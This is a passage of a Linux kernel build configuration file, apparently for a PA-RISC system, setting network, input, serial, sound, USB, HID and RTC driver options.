CONFIG_SUNDANCE=m
CONFIG_SUNDANCE_MMIO=y
CONFIG_TLAN=m
# CONFIG_KS8851_MLL is not set
CONFIG_VIA_RHINE=m
CONFIG_VIA_RHINE_MMIO=y
# CONFIG_SC92031 is not set
# CONFIG_NET_POCKET is not set
# CONFIG_ATL2 is not set
CONFIG_NETDEV_1000=y
CONFIG_ACENIC=m
# CONFIG_ACENIC_OMIT_TIGON_I is not set
# CONFIG_DL2K is not set
CONFIG_E1000=m
# CONFIG_E1000E is not set
# CONFIG_IP1000 is not set
CONFIG_IGB=m
# CONFIG_IGBVF is not set
# CONFIG_NS83820 is not set
CONFIG_HAMACHI=m
CONFIG_YELLOWFIN=m
# CONFIG_R8169 is not set
# CONFIG_SIS190 is not set
CONFIG_SKGE=m
# CONFIG_SKGE_DEBUG is not set
# CONFIG_SKY2 is not set
# CONFIG_VIA_VELOCITY is not set
CONFIG_TIGON3=m
# CONFIG_BNX2 is not set
# CONFIG_CNIC is not set
# CONFIG_QLA3XXX is not set
# CONFIG_ATL1 is not set
# CONFIG_ATL1E is not set
# CONFIG_ATL1C is not set
# CONFIG_JME is not set
CONFIG_NETDEV_10000=y
CONFIG_MDIO=m
CONFIG_CHELSIO_T1=m
# CONFIG_CHELSIO_T1_1G is not set
CONFIG_CHELSIO_T3_DEPENDS=y
# CONFIG_CHELSIO_T3 is not set
CONFIG_CHELSIO_T4_DEPENDS=y
# CONFIG_CHELSIO_T4 is not set
CONFIG_CHELSIO_T4VF_DEPENDS=y
# CONFIG_CHELSIO_T4VF is not set
CONFIG_ENIC=m
# CONFIG_IXGBE is not set
# CONFIG_IXGB is not set
CONFIG_S2IO=m
# CONFIG_VXGE is not set
CONFIG_MYRI10GE=m
# CONFIG_NETXEN_NIC is not set
# CONFIG_NIU is not set
CONFIG_MLX4_EN=m
CONFIG_MLX4_CORE=m
CONFIG_MLX4_DEBUG=y
# CONFIG_TEHUTI is not set
# CONFIG_BNX2X is not set
# CONFIG_QLCNIC is not set
CONFIG_QLGE=m
CONFIG_SFC=m
# CONFIG_BE2NET is not set
# CONFIG_TR is not set
CONFIG_WLAN=y
# CONFIG_ATMEL is not set
# CONFIG_PRISM54 is not set
# CONFIG_USB_ZD1201 is not set
# CONFIG_HOSTAP is not set

#
# Enable WiMAX (Networking options) to see the WiMAX drivers
#

#
# USB Network Adapters
#
# CONFIG_USB_CATC is not set
# CONFIG_USB_KAWETH is not set
# CONFIG_USB_PEGASUS is not set
# CONFIG_USB_RTL8150 is not set
# CONFIG_USB_USBNET is not set
# CONFIG_USB_IPHETH is not set
# CONFIG_WAN is not set

#
# CAIF transport drivers
#
# CONFIG_FDDI is not set
# CONFIG_HIPPI is not set
# CONFIG_PLIP is not set
CONFIG_PPP=m
# CONFIG_PPP_MULTILINK is not set
# CONFIG_PPP_FILTER is not set
CONFIG_PPP_ASYNC=m
CONFIG_PPP_SYNC_TTY=m
CONFIG_PPP_DEFLATE=m
CONFIG_PPP_BSDCOMP=m
CONFIG_PPP_MPPE=m
CONFIG_PPPOE=m
# CONFIG_PPPOL2TP is not set
# CONFIG_SLIP is not set
CONFIG_SLHC=m
# CONFIG_NET_FC is not set
CONFIG_NETCONSOLE=m
# CONFIG_NETCONSOLE_DYNAMIC is not set
CONFIG_NETPOLL=y
# CONFIG_NETPOLL_TRAP is not set
CONFIG_NET_POLL_CONTROLLER=y
# CONFIG_VMXNET3 is not set
# CONFIG_ISDN is not set
# CONFIG_PHONE is not set

#
# Input device support
#
CONFIG_INPUT=y
CONFIG_INPUT_FF_MEMLESS=m
# CONFIG_INPUT_POLLDEV is not set
# CONFIG_INPUT_SPARSEKMAP is not set

#
# Userland interfaces
#
CONFIG_INPUT_MOUSEDEV=y
CONFIG_INPUT_MOUSEDEV_PSAUX=y
CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024
CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768
# CONFIG_INPUT_JOYDEV is not set
# CONFIG_INPUT_EVDEV is not set
# CONFIG_INPUT_EVBUG is not set

#
# Input Device Drivers
#
CONFIG_INPUT_KEYBOARD=y
# CONFIG_KEYBOARD_ADP5588 is not set
CONFIG_KEYBOARD_ATKBD=y
# CONFIG_KEYBOARD_ATKBD_HP_KEYCODES is not set
# CONFIG_KEYBOARD_QT2160 is not set
# CONFIG_KEYBOARD_LKKBD is not set
# CONFIG_KEYBOARD_TCA6416 is not set
CONFIG_KEYBOARD_HIL_OLD=m
CONFIG_KEYBOARD_HIL=m
# CONFIG_KEYBOARD_MAX7359 is not set
# CONFIG_KEYBOARD_MCS is not set
# CONFIG_KEYBOARD_NEWTON is not set
# CONFIG_KEYBOARD_OPENCORES is not set
# CONFIG_KEYBOARD_STOWAWAY is not set
# CONFIG_KEYBOARD_SUNKBD is not set
# CONFIG_KEYBOARD_XTKBD is not set
CONFIG_INPUT_MOUSE=y
CONFIG_MOUSE_PS2=m
CONFIG_MOUSE_PS2_ALPS=y
CONFIG_MOUSE_PS2_LOGIPS2PP=y
CONFIG_MOUSE_PS2_SYNAPTICS=y
CONFIG_MOUSE_PS2_TRACKPOINT=y
# CONFIG_MOUSE_PS2_ELANTECH is not set
# CONFIG_MOUSE_PS2_SENTELIC is not set
# CONFIG_MOUSE_PS2_TOUCHKIT is not set
CONFIG_MOUSE_SERIAL=m
# CONFIG_MOUSE_APPLETOUCH is not set
# CONFIG_MOUSE_BCM5974 is not set
# CONFIG_MOUSE_VSXXXAA is not set
# CONFIG_MOUSE_SYNAPTICS_I2C is not set
# CONFIG_INPUT_JOYSTICK is not set
# CONFIG_INPUT_TABLET is not set
# CONFIG_INPUT_TOUCHSCREEN is not set
CONFIG_INPUT_MISC=y
# CONFIG_INPUT_AD714X is not set
# CONFIG_INPUT_ATI_REMOTE is not set
# CONFIG_INPUT_ATI_REMOTE2 is not set
# CONFIG_INPUT_KEYSPAN_REMOTE is not set
# CONFIG_INPUT_POWERMATE is not set
# CONFIG_INPUT_YEALINK is not set
CONFIG_INPUT_CM109=m
CONFIG_INPUT_UINPUT=m
CONFIG_HP_SDC_RTC=m
# CONFIG_INPUT_PCF8574 is not set
# CONFIG_INPUT_ADXL34X is not set

#
# Hardware I/O ports
#
CONFIG_SERIO=y
CONFIG_SERIO_SERPORT=m
CONFIG_SERIO_PARKBD=m
CONFIG_SERIO_GSCPS2=y
CONFIG_HP_SDC=y
CONFIG_HIL_MLC=y
CONFIG_SERIO_PCIPS2=m
CONFIG_SERIO_LIBPS2=y
CONFIG_SERIO_RAW=m
# CONFIG_SERIO_ALTERA_PS2 is not set
# CONFIG_GAMEPORT is not set

#
# Character devices
#
CONFIG_VT=y
CONFIG_CONSOLE_TRANSLATIONS=y
CONFIG_VT_CONSOLE=y
CONFIG_HW_CONSOLE=y
# CONFIG_VT_HW_CONSOLE_BINDING is not set
CONFIG_DEVKMEM=y
# CONFIG_SERIAL_NONSTANDARD is not set
# CONFIG_N_GSM is not set
# CONFIG_NOZOMI is not set

#
# Serial drivers
#
CONFIG_SERIAL_8250=y
CONFIG_SERIAL_8250_CONSOLE=y
CONFIG_SERIAL_8250_GSC=y
CONFIG_SERIAL_8250_PCI=y
CONFIG_SERIAL_8250_NR_UARTS=4
CONFIG_SERIAL_8250_RUNTIME_UARTS=4
CONFIG_SERIAL_8250_EXTENDED=y
# CONFIG_SERIAL_8250_MANY_PORTS is not set
# CONFIG_SERIAL_8250_SHARE_IRQ is not set
# CONFIG_SERIAL_8250_DETECT_IRQ is not set
# CONFIG_SERIAL_8250_RSA is not set

#
# Non-8250 serial port support
#
# CONFIG_SERIAL_MFD_HSU is not set
# CONFIG_SERIAL_MUX is not set
# CONFIG_PDC_CONSOLE is not set
CONFIG_SERIAL_CORE=y
CONFIG_SERIAL_CORE_CONSOLE=y
CONFIG_SERIAL_JSM=m
# CONFIG_SERIAL_TIMBERDALE is not set
# CONFIG_SERIAL_ALTERA_JTAGUART is not set
# CONFIG_SERIAL_ALTERA_UART is not set
CONFIG_UNIX98_PTYS=y
# CONFIG_DEVPTS_MULTIPLE_INSTANCES is not set
CONFIG_LEGACY_PTYS=y
CONFIG_LEGACY_PTY_COUNT=256
CONFIG_PRINTER=m
# CONFIG_LP_CONSOLE is not set
# CONFIG_PPDEV is not set
# CONFIG_IPMI_HANDLER is not set
CONFIG_HW_RANDOM=y
# CONFIG_HW_RANDOM_TIMERIOMEM is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set
CONFIG_RAW_DRIVER=m
CONFIG_MAX_RAW_DEVS=256
# CONFIG_TCG_TPM is not set
CONFIG_DEVPORT=y
# CONFIG_RAMOOPS is not set
CONFIG_I2C=m
CONFIG_I2C_BOARDINFO=y
CONFIG_I2C_COMPAT=y
# CONFIG_I2C_CHARDEV is not set
# CONFIG_I2C_MUX is not set
CONFIG_I2C_HELPER_AUTO=y
CONFIG_I2C_ALGOBIT=m

#
# I2C Hardware Bus support
#

#
# PC SMBus host controller drivers
#
# CONFIG_I2C_ALI1535 is not set
# CONFIG_I2C_ALI1563 is not set
# CONFIG_I2C_ALI15X3 is not set
# CONFIG_I2C_AMD756 is not set
# CONFIG_I2C_AMD8111 is not set
# CONFIG_I2C_I801 is not set
# CONFIG_I2C_ISCH is not set
# CONFIG_I2C_PIIX4 is not set
# CONFIG_I2C_NFORCE2 is not set
# CONFIG_I2C_SIS5595 is not set
# CONFIG_I2C_SIS630 is not set
# CONFIG_I2C_SIS96X is not set
# CONFIG_I2C_VIA is not set
# CONFIG_I2C_VIAPRO is not set

#
# I2C system bus drivers (mostly embedded / system-on-chip)
#
# CONFIG_I2C_OCORES is not set
# CONFIG_I2C_PCA_PLATFORM is not set
# CONFIG_I2C_SIMTEC is not set
# CONFIG_I2C_XILINX is not set

#
# External I2C/SMBus adapter drivers
#
# CONFIG_I2C_PARPORT is not set
# CONFIG_I2C_PARPORT_LIGHT is not set
# CONFIG_I2C_TAOS_EVM is not set
# CONFIG_I2C_TINY_USB is not set

#
# Other I2C/SMBus bus drivers
#
# CONFIG_I2C_STUB is not set
# CONFIG_I2C_DEBUG_CORE is not set
# CONFIG_I2C_DEBUG_ALGO is not set
# CONFIG_I2C_DEBUG_BUS is not set
# CONFIG_SPI is not set

#
# PPS support
#
# CONFIG_PPS is not set
# CONFIG_W1 is not set
# CONFIG_POWER_SUPPLY is not set
CONFIG_HWMON=y
# CONFIG_HWMON_VID is not set
# CONFIG_HWMON_DEBUG_CHIP is not set

#
# Native drivers
#
# CONFIG_SENSORS_AD7414 is not set
# CONFIG_SENSORS_AD7418 is not set
# CONFIG_SENSORS_ADM1021 is not set
# CONFIG_SENSORS_ADM1025 is not set
# CONFIG_SENSORS_ADM1026 is not set
# CONFIG_SENSORS_ADM1029 is not set
# CONFIG_SENSORS_ADM1031 is not set
# CONFIG_SENSORS_ADM9240 is not set
# CONFIG_SENSORS_ADT7411 is not set
# CONFIG_SENSORS_ADT7462 is not set
# CONFIG_SENSORS_ADT7470 is not set
# CONFIG_SENSORS_ADT7475 is not set
# CONFIG_SENSORS_ASC7621 is not set
# CONFIG_SENSORS_ATXP1 is not set
# CONFIG_SENSORS_DS1621 is not set
# CONFIG_SENSORS_I5K_AMB is not set
# CONFIG_SENSORS_F71805F is not set
# CONFIG_SENSORS_F71882FG is not set
# CONFIG_SENSORS_F75375S is not set
# CONFIG_SENSORS_G760A is not set
# CONFIG_SENSORS_GL518SM is not set
# CONFIG_SENSORS_GL520SM is not set
# CONFIG_SENSORS_IT87 is not set
# CONFIG_SENSORS_JC42 is not set
# CONFIG_SENSORS_LM63 is not set
# CONFIG_SENSORS_LM73 is not set
# CONFIG_SENSORS_LM75 is not set
# CONFIG_SENSORS_LM77 is not set
# CONFIG_SENSORS_LM78 is not set
# CONFIG_SENSORS_LM80 is not set
# CONFIG_SENSORS_LM83 is not set
# CONFIG_SENSORS_LM85 is not set
# CONFIG_SENSORS_LM87 is not set
# CONFIG_SENSORS_LM90 is not set
# CONFIG_SENSORS_LM92 is not set
# CONFIG_SENSORS_LM93 is not set
# CONFIG_SENSORS_LTC4215 is not set
# CONFIG_SENSORS_LTC4245 is not set
# CONFIG_SENSORS_LM95241 is not set
# CONFIG_SENSORS_MAX1619 is not set
# CONFIG_SENSORS_MAX6650 is not set
# CONFIG_SENSORS_PC87360 is not set
# CONFIG_SENSORS_PC87427 is not set
# CONFIG_SENSORS_PCF8591 is not set
# CONFIG_SENSORS_SIS5595 is not set
# CONFIG_SENSORS_SMM665 is not set
# CONFIG_SENSORS_DME1737 is not set
# CONFIG_SENSORS_EMC1403 is not set
# CONFIG_SENSORS_EMC2103 is not set
# CONFIG_SENSORS_SMSC47M1 is not set
# CONFIG_SENSORS_SMSC47M192 is not set
# CONFIG_SENSORS_SMSC47B397 is not set
# CONFIG_SENSORS_ADS7828 is not set
# CONFIG_SENSORS_AMC6821 is not set
# CONFIG_SENSORS_THMC50 is not set
# CONFIG_SENSORS_TMP102 is not set
# CONFIG_SENSORS_TMP401 is not set
# CONFIG_SENSORS_TMP421 is not set
# CONFIG_SENSORS_VIA686A is not set
# CONFIG_SENSORS_VT1211 is not set
# CONFIG_SENSORS_VT8231 is not set
# CONFIG_SENSORS_W83781D is not set
# CONFIG_SENSORS_W83791D is not set
# CONFIG_SENSORS_W83792D is not set
# CONFIG_SENSORS_W83793 is not set
# CONFIG_SENSORS_W83L785TS is not set
# CONFIG_SENSORS_W83L786NG is not set
# CONFIG_SENSORS_W83627HF is not set
# CONFIG_SENSORS_W83627EHF is not set
# CONFIG_SENSORS_LIS3_I2C is not set
CONFIG_THERMAL=y
# CONFIG_THERMAL_HWMON is not set
# CONFIG_WATCHDOG is not set
CONFIG_SSB_POSSIBLE=y

#
# Sonics Silicon Backplane
#
CONFIG_SSB=m
CONFIG_SSB_SPROM=y
CONFIG_SSB_PCIHOST_POSSIBLE=y
CONFIG_SSB_PCIHOST=y
# CONFIG_SSB_B43_PCI_BRIDGE is not set
# CONFIG_SSB_DEBUG is not set
CONFIG_SSB_DRIVER_PCICORE_POSSIBLE=y
CONFIG_SSB_DRIVER_PCICORE=y
CONFIG_MFD_SUPPORT=y
CONFIG_MFD_CORE=m
# CONFIG_MFD_SM501 is not set
CONFIG_HTC_PASIC3=m
# CONFIG_TPS6507X is not set
# CONFIG_MFD_TMIO is not set
# CONFIG_MFD_WM8400 is not set
# CONFIG_MFD_PCF50633 is not set
# CONFIG_ABX500_CORE is not set
# CONFIG_LPC_SCH is not set
# CONFIG_MFD_RDC321X is not set
# CONFIG_MFD_JANZ_CMODIO is not set
# CONFIG_REGULATOR is not set
# CONFIG_MEDIA_SUPPORT is not set

#
# Graphics support
#
CONFIG_AGP=y
CONFIG_AGP_PARISC=m
CONFIG_VGA_ARB=y
CONFIG_VGA_ARB_MAX_GPUS=16
# CONFIG_DRM is not set
# CONFIG_VGASTATE is not set
# CONFIG_VIDEO_OUTPUT_CONTROL is not set
CONFIG_FB=y
CONFIG_FIRMWARE_EDID=y
# CONFIG_FB_DDC is not set
# CONFIG_FB_BOOT_VESA_SUPPORT is not set
# CONFIG_FB_CFB_FILLRECT is not set
# CONFIG_FB_CFB_COPYAREA is not set
# CONFIG_FB_CFB_IMAGEBLIT is not set
# CONFIG_FB_CFB_REV_PIXELS_IN_BYTE is not set
# CONFIG_FB_SYS_FILLRECT is not set
# CONFIG_FB_SYS_COPYAREA is not set
# CONFIG_FB_SYS_IMAGEBLIT is not set
# CONFIG_FB_FOREIGN_ENDIAN is not set
# CONFIG_FB_SYS_FOPS is not set
# CONFIG_FB_SVGALIB is not set
# CONFIG_FB_MACMODES is not set
# CONFIG_FB_BACKLIGHT is not set
CONFIG_FB_MODE_HELPERS=y
# CONFIG_FB_TILEBLITTING is not set

#
# Frame buffer hardware drivers
#
# CONFIG_FB_CIRRUS is not set
# CONFIG_FB_PM2 is not set
# CONFIG_FB_CYBER2000 is not set
# CONFIG_FB_ASILIANT is not set
# CONFIG_FB_IMSTT is not set
# CONFIG_FB_STI is not set
# CONFIG_FB_S1D13XXX is not set
# CONFIG_FB_NVIDIA is not set
# CONFIG_FB_RIVA is not set
# CONFIG_FB_MATROX is not set
# CONFIG_FB_RADEON is not set
# CONFIG_FB_ATY128 is not set
# CONFIG_FB_ATY is not set
# CONFIG_FB_S3 is not set
# CONFIG_FB_SAVAGE is not set
# CONFIG_FB_SIS is not set
# CONFIG_FB_NEOMAGIC is not set
# CONFIG_FB_KYRO is not set
# CONFIG_FB_3DFX is not set
# CONFIG_FB_VOODOO1 is not set
# CONFIG_FB_VT8623 is not set
# CONFIG_FB_TRIDENT is not set
# CONFIG_FB_ARK is not set
# CONFIG_FB_PM3 is not set
# CONFIG_FB_CARMINE is not set
# CONFIG_FB_TMIO is not set
# CONFIG_FB_VIRTUAL is not set
# CONFIG_FB_METRONOME is not set
# CONFIG_FB_MB862XX is not set
# CONFIG_FB_BROADSHEET is not set
# CONFIG_BACKLIGHT_LCD_SUPPORT is not set

#
# Display device support
#
# CONFIG_DISPLAY_SUPPORT is not set

#
# Console display driver support
#
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE_COLUMNS=160
CONFIG_DUMMY_CONSOLE_ROWS=64
CONFIG_FRAMEBUFFER_CONSOLE=y
# CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY is not set
# CONFIG_FRAMEBUFFER_CONSOLE_ROTATION is not set
# CONFIG_STI_CONSOLE is not set
CONFIG_FONTS=y
# CONFIG_FONT_8x8 is not set
CONFIG_FONT_8x16=y
# CONFIG_FONT_6x11 is not set
# CONFIG_FONT_7x14 is not set
# CONFIG_FONT_PEARL_8x8 is not set
# CONFIG_FONT_ACORN_8x8 is not set
# CONFIG_FONT_MINI_4x6 is not set
# CONFIG_FONT_SUN8x16 is not set
# CONFIG_FONT_SUN12x22 is not set
# CONFIG_FONT_10x18 is not set
# CONFIG_LOGO is not set
CONFIG_SOUND=m
CONFIG_SOUND_OSS_CORE=y
CONFIG_SOUND_OSS_CORE_PRECLAIM=y
CONFIG_SND=m
CONFIG_SND_TIMER=m
CONFIG_SND_PCM=m
CONFIG_SND_HWDEP=m
CONFIG_SND_RAWMIDI=m
CONFIG_SND_SEQUENCER=m
CONFIG_SND_SEQ_DUMMY=m
CONFIG_SND_OSSEMUL=y
CONFIG_SND_MIXER_OSS=m
CONFIG_SND_PCM_OSS=m
CONFIG_SND_PCM_OSS_PLUGINS=y
CONFIG_SND_SEQUENCER_OSS=y
# CONFIG_SND_DYNAMIC_MINORS is not set
CONFIG_SND_SUPPORT_OLD_API=y
CONFIG_SND_VERBOSE_PROCFS=y
CONFIG_SND_VERBOSE_PRINTK=y
# CONFIG_SND_DEBUG is not set
CONFIG_SND_VMASTER=y
CONFIG_SND_RAWMIDI_SEQ=m
# CONFIG_SND_OPL3_LIB_SEQ is not set
# CONFIG_SND_OPL4_LIB_SEQ is not set
# CONFIG_SND_SBAWE_SEQ is not set
# CONFIG_SND_EMU10K1_SEQ is not set
CONFIG_SND_AC97_CODEC=m
CONFIG_SND_DRIVERS=y
# CONFIG_SND_DUMMY is not set
# CONFIG_SND_VIRMIDI is not set
# CONFIG_SND_MTPAV is not set
# CONFIG_SND_MTS64 is not set
# CONFIG_SND_SERIAL_U16550 is not set
# CONFIG_SND_MPU401 is not set
# CONFIG_SND_PORTMAN2X4 is not set
# CONFIG_SND_AC97_POWER_SAVE is not set
CONFIG_SND_PCI=y
CONFIG_SND_AD1889=m
# CONFIG_SND_ALS300 is not set
# CONFIG_SND_ALI5451 is not set
# CONFIG_SND_ATIIXP is not set
# CONFIG_SND_ATIIXP_MODEM is not set
# CONFIG_SND_AU8810 is not set
# CONFIG_SND_AU8820 is not set
# CONFIG_SND_AU8830 is not set
# CONFIG_SND_AW2 is not set
# CONFIG_SND_AZT3328 is not set
# CONFIG_SND_BT87X is not set
# CONFIG_SND_CA0106 is not set
# CONFIG_SND_CMIPCI is not set
# CONFIG_SND_OXYGEN is not set
# CONFIG_SND_CS4281 is not set
# CONFIG_SND_CS46XX is not set
# CONFIG_SND_CS5535AUDIO is not set
# CONFIG_SND_CTXFI is not set
# CONFIG_SND_DARLA20 is not set
# CONFIG_SND_GINA20 is not set
# CONFIG_SND_LAYLA20 is not set
# CONFIG_SND_DARLA24 is not set
# CONFIG_SND_GINA24 is not set
# CONFIG_SND_LAYLA24 is not set
# CONFIG_SND_MONA is not set
# CONFIG_SND_MIA is not set
# CONFIG_SND_ECHO3G is not set
# CONFIG_SND_INDIGO is not set
# CONFIG_SND_INDIGOIO is not set
# CONFIG_SND_INDIGODJ is not set
# CONFIG_SND_INDIGOIOX is not set
# CONFIG_SND_INDIGODJX is not set
# CONFIG_SND_EMU10K1 is not set
# CONFIG_SND_EMU10K1X is not set
# CONFIG_SND_ENS1370 is not set
# CONFIG_SND_ENS1371 is not set
# CONFIG_SND_ES1938 is not set
# CONFIG_SND_ES1968 is not set
# CONFIG_SND_FM801 is not set
# CONFIG_SND_HDA_INTEL is not set
# CONFIG_SND_HDSP is not set
CONFIG_SND_HDSPM=m
# CONFIG_SND_HIFIER is not set
# CONFIG_SND_ICE1712 is not set
# CONFIG_SND_ICE1724 is not set
# CONFIG_SND_INTEL8X0 is not set
# CONFIG_SND_INTEL8X0M is not set
# CONFIG_SND_KORG1212 is not set
# CONFIG_SND_LX6464ES is not set
# CONFIG_SND_MAESTRO3 is not set
# CONFIG_SND_MIXART is not set
# CONFIG_SND_NM256 is not set
# CONFIG_SND_PCXHR is not set
# CONFIG_SND_RIPTIDE is not set
# CONFIG_SND_RME32 is not set
# CONFIG_SND_RME96 is not set
# CONFIG_SND_RME9652 is not set
# CONFIG_SND_SONICVIBES is not set
# CONFIG_SND_TRIDENT is not set
# CONFIG_SND_VIA82XX is not set
# CONFIG_SND_VIA82XX_MODEM is not set
# CONFIG_SND_VIRTUOSO is not set
# CONFIG_SND_VX222 is not set
# CONFIG_SND_YMFPCI is not set
CONFIG_SND_USB=y
# CONFIG_SND_USB_AUDIO is not set
# CONFIG_SND_USB_UA101 is not set
# CONFIG_SND_USB_CAIAQ is not set
CONFIG_SND_GSC=y
CONFIG_SND_HARMONY=m
# CONFIG_SND_SOC is not set
# CONFIG_SOUND_PRIME is not set
CONFIG_AC97_BUS=m
CONFIG_HID_SUPPORT=y
CONFIG_HID=y
# CONFIG_HIDRAW is not set

#
# USB Input Devices
#
CONFIG_USB_HID=m
# CONFIG_HID_PID is not set
# CONFIG_USB_HIDDEV is not set

#
# Special HID drivers
#
# CONFIG_HID_3M_PCT is not set
CONFIG_HID_A4TECH=m
# CONFIG_HID_ACRUX_FF is not set
CONFIG_HID_APPLE=m
CONFIG_HID_BELKIN=m
# CONFIG_HID_CANDO is not set
CONFIG_HID_CHERRY=m
CONFIG_HID_CHICONY=m
# CONFIG_HID_PRODIKEYS is not set
CONFIG_HID_CYPRESS=m
CONFIG_HID_DRAGONRISE=m
# CONFIG_DRAGONRISE_FF is not set
# CONFIG_HID_EGALAX is not set
CONFIG_HID_EZKEY=m
CONFIG_HID_KYE=m
CONFIG_HID_GYRATION=m
CONFIG_HID_TWINHAN=m
CONFIG_HID_KENSINGTON=m
CONFIG_HID_LOGITECH=m
# CONFIG_LOGITECH_FF is not set
# CONFIG_LOGIRUMBLEPAD2_FF is not set
# CONFIG_LOGIG940_FF is not set
CONFIG_HID_MICROSOFT=m
# CONFIG_HID_MOSART is not set
CONFIG_HID_MONTEREY=m
CONFIG_HID_NTRIG=m
CONFIG_HID_ORTEK=m
CONFIG_HID_PANTHERLORD=m
# CONFIG_PANTHERLORD_FF is not set
CONFIG_HID_PETALYNX=m
# CONFIG_HID_PICOLCD is not set
# CONFIG_HID_QUANTA is not set
# CONFIG_HID_ROCCAT is not set
# CONFIG_HID_ROCCAT_KONE is not set
CONFIG_HID_SAMSUNG=m
CONFIG_HID_SONY=m
# CONFIG_HID_STANTUM is not set
CONFIG_HID_SUNPLUS=m
CONFIG_HID_GREENASIA=m
# CONFIG_GREENASIA_FF is not set
CONFIG_HID_SMARTJOYPLUS=m
# CONFIG_SMARTJOYPLUS_FF is not set
CONFIG_HID_TOPSEED=m
CONFIG_HID_THRUSTMASTER=m
# CONFIG_THRUSTMASTER_FF is not set
CONFIG_HID_ZEROPLUS=m
# CONFIG_ZEROPLUS_FF is not set
# CONFIG_HID_ZYDACRON is not set
CONFIG_USB_SUPPORT=y
CONFIG_USB_ARCH_HAS_HCD=y
CONFIG_USB_ARCH_HAS_OHCI=y
CONFIG_USB_ARCH_HAS_EHCI=y
CONFIG_USB=m
# CONFIG_USB_DEBUG is not set
# CONFIG_USB_ANNOUNCE_NEW_DEVICES is not set

#
# Miscellaneous USB options
#
# CONFIG_USB_DEVICEFS is not set
CONFIG_USB_DEVICE_CLASS=y
# CONFIG_USB_DYNAMIC_MINORS is not set
CONFIG_USB_MON=m
# CONFIG_USB_WUSB is not set
# CONFIG_USB_WUSB_CBAF is not set

#
# USB Host Controller Drivers
#
# CONFIG_USB_C67X00_HCD is not set
# CONFIG_USB_XHCI_HCD is not set
# CONFIG_USB_EHCI_HCD is not set
# CONFIG_USB_OXU210HP_HCD is not set
CONFIG_USB_ISP116X_HCD=m
# CONFIG_USB_ISP1760_HCD is not set
# CONFIG_USB_ISP1362_HCD is not set
# CONFIG_USB_OHCI_HCD is not set
# CONFIG_USB_UHCI_HCD is not set
# CONFIG_USB_SL811_HCD is not set
# CONFIG_USB_R8A66597_HCD is not set
# CONFIG_USB_WHCI_HCD is not set
# CONFIG_USB_HWA_HCD is not set

#
# Enable Host or Gadget support to see Inventra options
#

#
# USB Device Class drivers
#
# CONFIG_USB_ACM is not set
# CONFIG_USB_PRINTER is not set
# CONFIG_USB_WDM is not set
# CONFIG_USB_TMC is not set

#
# NOTE: USB_STORAGE depends on SCSI but BLK_DEV_SD may
#

#
# also be needed; see USB_STORAGE Help for more info
#
CONFIG_USB_STORAGE=m
# CONFIG_USB_STORAGE_DEBUG is not set
# CONFIG_USB_STORAGE_DATAFAB is not set
# CONFIG_USB_STORAGE_FREECOM is not set
# CONFIG_USB_STORAGE_ISD200 is not set
# CONFIG_USB_STORAGE_USBAT is not set
# CONFIG_USB_STORAGE_SDDR09 is not set
# CONFIG_USB_STORAGE_SDDR55 is not set
# CONFIG_USB_STORAGE_JUMPSHOT is not set
# CONFIG_USB_STORAGE_ALAUDA is not set
# CONFIG_USB_STORAGE_ONETOUCH is not set
# CONFIG_USB_STORAGE_KARMA is not set
# CONFIG_USB_STORAGE_CYPRESS_ATACB is not set
# CONFIG_USB_LIBUSUAL is not set

#
# USB Imaging devices
#
# CONFIG_USB_MDC800 is not set
# CONFIG_USB_MICROTEK is not set

#
# USB port drivers
#
# CONFIG_USB_USS720 is not set
# CONFIG_USB_SERIAL is not set

#
# USB Miscellaneous drivers
#
CONFIG_USB_EMI62=m
CONFIG_USB_EMI26=m
# CONFIG_USB_ADUTUX is not set
# CONFIG_USB_SEVSEG is not set
# CONFIG_USB_RIO500 is not set
CONFIG_USB_LEGOTOWER=m
# CONFIG_USB_LCD is not set
CONFIG_USB_LED=m
# CONFIG_USB_CYPRESS_CY7C63 is not set
CONFIG_USB_CYTHERM=m
CONFIG_USB_IDMOUSE=m
# CONFIG_USB_FTDI_ELAN is not set
# CONFIG_USB_APPLEDISPLAY is not set
CONFIG_USB_LD=m
# CONFIG_USB_TRANCEVIBRATOR is not set
# CONFIG_USB_IOWARRIOR is not set
# CONFIG_USB_TEST is not set
# CONFIG_USB_ISIGHTFW is not set
# CONFIG_USB_GADGET is not set

#
# OTG and related infrastructure
#
# CONFIG_NOP_USB_XCEIV is not set
CONFIG_UWB=m
CONFIG_UWB_HWA=m
CONFIG_UWB_WHCI=m
# CONFIG_UWB_WLP is not set
CONFIG_UWB_I1480U=m
# CONFIG_MMC is not set
# CONFIG_MEMSTICK is not set
# CONFIG_NEW_LEDS is not set
# CONFIG_ACCESSIBILITY is not set
# CONFIG_INFINIBAND is not set
CONFIG_RTC_LIB=y
CONFIG_RTC_CLASS=y
CONFIG_RTC_HCTOSYS=y
CONFIG_RTC_HCTOSYS_DEVICE="rtc0"
# CONFIG_RTC_DEBUG is not set

#
# RTC interfaces
#
CONFIG_RTC_INTF_SYSFS=y
CONFIG_RTC_INTF_PROC=y
CONFIG_RTC_INTF_DEV=y
# CONFIG_RTC_INTF_DEV_UIE_EMUL is not set
# CONFIG_RTC_DRV_TEST is not set

#
# I2C RTC drivers
#
# CONFIG_RTC_DRV_DS1307 is not set
# CONFIG_RTC_DRV_DS1374 is not set
# CONFIG_RTC_DRV_DS1672 is not set
# CONFIG_RTC_DRV_DS3232 is not set
# CONFIG_RTC_DRV_MAX6900 is not set
# CONFIG_RTC_DRV_RS5C372 is not set
# CONFIG_RTC_DRV_ISL1208 is not set
# CONFIG_RTC_DRV_ISL12022 is not set
# CONFIG_RTC_DRV_X1205 is not set
# CONFIG_RTC_DRV_PCF8563 is not set
# CONFIG_RTC_DRV_PCF8583 is not set
# CONFIG_RTC_DRV_M41T80 is not set
# CONFIG_RTC_DRV_BQ32K is not set
# CONFIG_RTC_DRV_S35390A is not set
# CONFIG_RTC_DRV_FM3130 is not set
# CONFIG_RTC_DRV_RX8581 is not set
# CONFIG_RTC_DRV_RX8025 is not set

#
# SPI RTC drivers
#

#
# Platform RTC drivers
#
# CONFIG_RTC_DRV_DS1286 is not set
# CONFIG_RTC_DRV_DS1511 is not set
# CONFIG_RTC_DRV_DS1553 is not set
# CONFIG_RTC_DRV_DS1742 is not set
# CONFIG_RTC_DRV_STK17TA8 is not set
# CONFIG_RTC_DRV_M48T86 is not set
# CONFIG_RTC_DRV_M48T35 is not set
# CONFIG_RTC_DRV_M48T59 is not set
